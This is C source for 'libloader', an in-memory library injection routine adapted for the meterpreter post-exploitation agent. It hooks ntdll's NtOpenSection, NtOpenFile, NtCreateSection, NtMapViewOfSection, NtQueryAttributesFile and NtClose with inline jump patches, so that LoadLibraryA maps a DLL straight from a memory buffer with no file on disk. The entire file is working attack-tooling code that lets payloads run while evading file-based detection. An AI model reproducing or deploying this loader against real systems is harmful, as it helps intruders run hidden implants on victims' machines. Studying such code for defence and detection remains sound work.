/* * libloader -- In-Memory Remote Library Injection shellcode * Jarkko Turkulainen <jt[at]klake.org> * * Platforms: Windows NT4/2000/XP/2003 * * Credits: * * - skape for ideas, nologin, Metasploit * * * ---- * * This is a modified version of the original that has been slightly changed * in order to integrate it with meterpreter. */ #include "metsrv.h" #include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include "libloader.h" /* NTSTATUS values */ #define STATUS_SUCCESS 0x00000000 #define STATUS_IMAGE_NOT_AT_BASE 0x40000003 /* Time values */ #define HIGH_TIME 0x01C422FA #define LOW_TIME_1 0x7E275CE0 #define LOW_TIME_2 0x8E275CE0 /* Some defines ripped off from DDK */ typedef struct _FILE_BASIC_INFORMATION { LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; typedef enum _SECTION_INFORMATION_CLASS { SectionBasicInformation, SectionImageInformation } SECTION_INFORMATION_CLASS; typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; typedef LONG NTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; #else PWSTR Buffer; #endif } UNICODE_STRING; typedef UNICODE_STRING *PUNICODE_STRING; typedef struct _ANSI_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } ANSI_STRING, *PANSI_STRING, STRING, *PSTRING; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES; typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION); typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG); typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE); typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG, PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG); typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE); typedef struct _SHELLCODE_CTX { /* Library name */ char libname[256]; int liblen; /* Global offset */ DWORD offset; /* Allocated memory sections */ DWORD_PTR file_address; DWORD_PTR mapped_address; DWORD size_map; /* Hook stub functions */ unsigned char s_NtOpenSection[10]; unsigned char s_NtQueryAttributesFile[10]; unsigned char s_NtOpenFile[10]; unsigned char s_NtCreateSection[10]; unsigned char s_NtMapViewOfSection[10]; unsigned char s_NtClose[10]; /* Hooked functions */ DWORD NtOpenSection; DWORD NtQueryAttributesFile; DWORD NtOpenFile; DWORD NtCreateSection; DWORD NtMapViewOfSection; DWORD NtClose; f_NtOpenSection p_NtOpenSection; f_NtQueryAttributesFile p_NtQueryAttributesFile; f_NtOpenFile p_NtOpenFile; f_NtCreateSection p_NtCreateSection; f_NtMapViewOfSection p_NtMapViewOfSection; f_NtClose p_NtClose; } SHELLCODE_CTX; SHELLCODE_CTX *ctx = NULL; #pragma comment(lib, "ws2_32.lib") #pragma warning(disable: 4068) /* * Find library name from given unicode string */ int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) { int i, j; for (i = 0; i < str->Length; i++) { for (j = 0; j < ctx->liblen; j++) { if (str->Buffer[i + j] != ctx->libname[j]) break; } /* Match */ if (j == ctx->liblen) return 0; } return 1; } /* NtOpenSection hook */ NTSTATUS NTAPI m_NtOpenSection( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) { /* Find our context */ if (!find_string(ctx, ObjectAttributes->ObjectName)) { *SectionHandle = (PHANDLE)ctx->mapped_address; return STATUS_SUCCESS; } return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, ObjectAttributes); } /* NtQueryAttributesFile hook */ NTSTATUS NTAPI m_NtQueryAttributesFile( POBJECT_ATTRIBUTES ObjectAttributes, PFILE_BASIC_INFORMATION FileAttributes) { if (!find_string(ctx, ObjectAttributes->ObjectName)) { /* * struct PFILE_BASIC_INFORMATION must be actually filled * with something sane, otherwise it might break something. * The values are defined in libloader.h * */ FileAttributes->CreationTime.LowPart = LOW_TIME_1; FileAttributes->CreationTime.HighPart = HIGH_TIME; FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; FileAttributes->LastAccessTime.HighPart = HIGH_TIME; FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; FileAttributes->LastWriteTime.HighPart = HIGH_TIME; FileAttributes->ChangeTime.LowPart = LOW_TIME_1; FileAttributes->ChangeTime.HighPart = HIGH_TIME; FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; return STATUS_SUCCESS; } return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); } /* NtOpenFile hook */ void NTAPI m_NtOpenFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, ULONG ShareAccess, ULONG OpenOptions) { if (!find_string(ctx, ObjectAttributes->ObjectName)) { *FileHandle = (PVOID)ctx->mapped_address; return; } ctx->p_NtOpenFile( FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); return; } /* NtCreateSection hook */ NTSTATUS NTAPI m_NtCreateSection( PHANDLE SectionHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG PageAttributes, ULONG SectionAttributes, HANDLE FileHandle) { if (FileHandle == (HANDLE)ctx->mapped_address) { *SectionHandle = (PVOID)ctx->mapped_address; return STATUS_SUCCESS; } return ctx->p_NtCreateSection( SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize, PageAttributes, SectionAttributes, FileHandle); } /* NtMapViewOfSection hook */ NTSTATUS NTAPI m_NtMapViewOfSection( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, ULONG CommitSize, PLARGE_INTEGER SectionOffset, PULONG ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Protect) { if (SectionHandle == (HANDLE)ctx->mapped_address) { *BaseAddress = (PVOID)ctx->mapped_address; *ViewSize = ctx->size_map; /* We assume that the image must be relocated */ return STATUS_IMAGE_NOT_AT_BASE; } return ctx->p_NtMapViewOfSection( SectionHandle, ProcessHandle, BaseAddress, ZeroBits, CommitSize, SectionOffset, ViewSize, InheritDisposition, AllocationType, Protect); } /* NtClose hook */ NTSTATUS NTAPI m_NtClose( HANDLE Handle) { if (Handle == (HANDLE)ctx->mapped_address) { return STATUS_SUCCESS; } return ctx->p_NtClose(Handle); } /* Patch given function */ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub, unsigned char *hook) { DWORD protect; ULONG bytes; SIZE_T written; MEMORY_BASIC_INFORMATION mbi_thunk; /* * Most native NT functions begin with stub like this: * * 00000000 B82B000000 mov eax,0x2b ; syscall * 00000005 8D542404 lea edx,[esp+0x4] ; arguments * 00000009 CD2E int 0x2e ; interrupt * * In offset 0, the actual system call is saved in eax. Syscall * is 32 bit number (!) so we can assume 5 bytes of preamble size * for each function.. If there's need to hook other functions, * a complete disassembler is needed for preamble size counting. * */ bytes = 5; /* Create the stub */ WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address, bytes, &written); *(PBYTE)(stub + bytes) = 0xE9; *(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5)); /* Patch original function */ /* Fix protection */ VirtualQuery((LPVOID)address, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION)); VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); /* Insert jump */ *(PBYTE)address = 0xE9; *(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5)); /* Restore protection */ VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &protect); FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, mbi_thunk.RegionSize); } /* Install hooks, fix addresses */ void install_hooks(SHELLCODE_CTX *ctx) { f_NtMapViewOfSection lNtMapViewOfSection; f_NtQueryAttributesFile lNtQueryAttributesFile; f_NtOpenFile lNtOpenFile; f_NtCreateSection lNtCreateSection; f_NtOpenSection lNtOpenSection; f_NtClose lNtClose; HMODULE ntdll; if (!(ntdll = LoadLibrary(TEXT("ntdll")))) { return; } lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); /* NtMapViewOfSection */ /* Patch */ patch_function(ctx, (UINT_PTR)lNtMapViewOfSection, ctx->s_NtMapViewOfSection, (unsigned char *)m_NtMapViewOfSection); /* Copy pointer */ ctx->p_NtMapViewOfSection = (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; /* NtQueryAttributesFile */ patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile, ctx->s_NtQueryAttributesFile, (unsigned char *)m_NtQueryAttributesFile); ctx->p_NtQueryAttributesFile = (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; /* NtOpenFile */ patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile, (unsigned char *)m_NtOpenFile); ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; /* NtCreateSection */ patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection, (unsigned char *)m_NtCreateSection); ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; /* NtOpenSection */ patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection, (unsigned char *)m_NtOpenSection); ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; /* NtClose */ patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose, (unsigned char *)m_NtClose); ctx->p_NtClose = (f_NtClose)ctx->s_NtClose; } /* Restore given function */ void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub) { DWORD protect; ULONG bytes; SIZE_T written; MEMORY_BASIC_INFORMATION mbi_thunk; bytes = 5; /* Patch original function */ /* Fix protection */ VirtualQuery((LPVOID)address, &mbi_thunk, sizeof(MEMORY_BASIC_INFORMATION)); VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); /* Copy bytes back to function */ WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub, bytes, &written); /* Restore protection */ VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, mbi_thunk.Protect, &protect); FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, mbi_thunk.RegionSize); } /* Remove hooks */ void remove_hooks(SHELLCODE_CTX *ctx) { f_NtMapViewOfSection lNtMapViewOfSection; f_NtQueryAttributesFile lNtQueryAttributesFile; f_NtOpenFile lNtOpenFile; f_NtCreateSection lNtCreateSection; f_NtOpenSection lNtOpenSection; f_NtClose lNtClose; HMODULE ntdll; if (!(ntdll = LoadLibraryA("ntdll"))) { return; } lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); /* NtMapViewOfSection */ restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection, ctx->s_NtMapViewOfSection); /* NtQueryAttributesFile */ restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile, ctx->s_NtQueryAttributesFile); /* NtOpenFile */ restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile); /* NtCreateSection */ restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection); /* NtOpenSection */ restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection); /* NtClose */ restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose); } /* Map file in memory as section */ void map_file(SHELLCODE_CTX *ctx) { PIMAGE_NT_HEADERS nt; PIMAGE_DOS_HEADER dos; PIMAGE_SECTION_HEADER sect; int i; dos = (PIMAGE_DOS_HEADER)ctx->file_address; nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); /* * Allocate space for the mapping * First, try to map the file at ImageBase * */ ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, nt->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); /* No success, let the system decide.. */ if (ctx->mapped_address == 0) { ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL, nt->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); } ctx->size_map = nt->OptionalHeader.SizeOfImage; /* Lock the mapping in memory */ { ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( GetModuleHandleA("ntdll"), "NtLockVirtualMemory"); if (NtLockVirtualMemory) { PVOID base = (PVOID)ctx->mapped_address; ULONG sz = nt->OptionalHeader.SizeOfImage; NtLockVirtualMemory( (HANDLE)-1, &base, &sz, 1); } } /* Write headers */ WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); /* Write sections */ sect = IMAGE_FIRST_SECTION(nt); for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { WriteProcessMemory((HANDLE)-1, (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, (PCHAR)ctx->file_address + sect[i].PointerToRawData, sect[i].SizeOfRawData, 0); } } /* * Load a library in-memory from the provided buffer. */ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength) { LPCSTR shortName = name, slash = NULL; HMODULE mod = NULL; if ((slash = strrchr(name, '\\'))) shortName = slash+1; ctx = (SHELLCODE_CTX *)VirtualAlloc( NULL, sizeof(SHELLCODE_CTX), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!ctx) return NULL; install_hooks(ctx); do { // The name of the library to load it as strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1); ctx->liblen = (int)strlen(ctx->libname) + 1; // The address of the raw buffer ctx->file_address = (DWORD_PTR)buffer; // Map the buffer into memory map_file(ctx); // Load the fake library if (!(mod = LoadLibraryA(ctx->libname))) { break; } } while (0); remove_hooks(ctx); VirtualFree(ctx, 0, MEM_RELEASE); return mod; }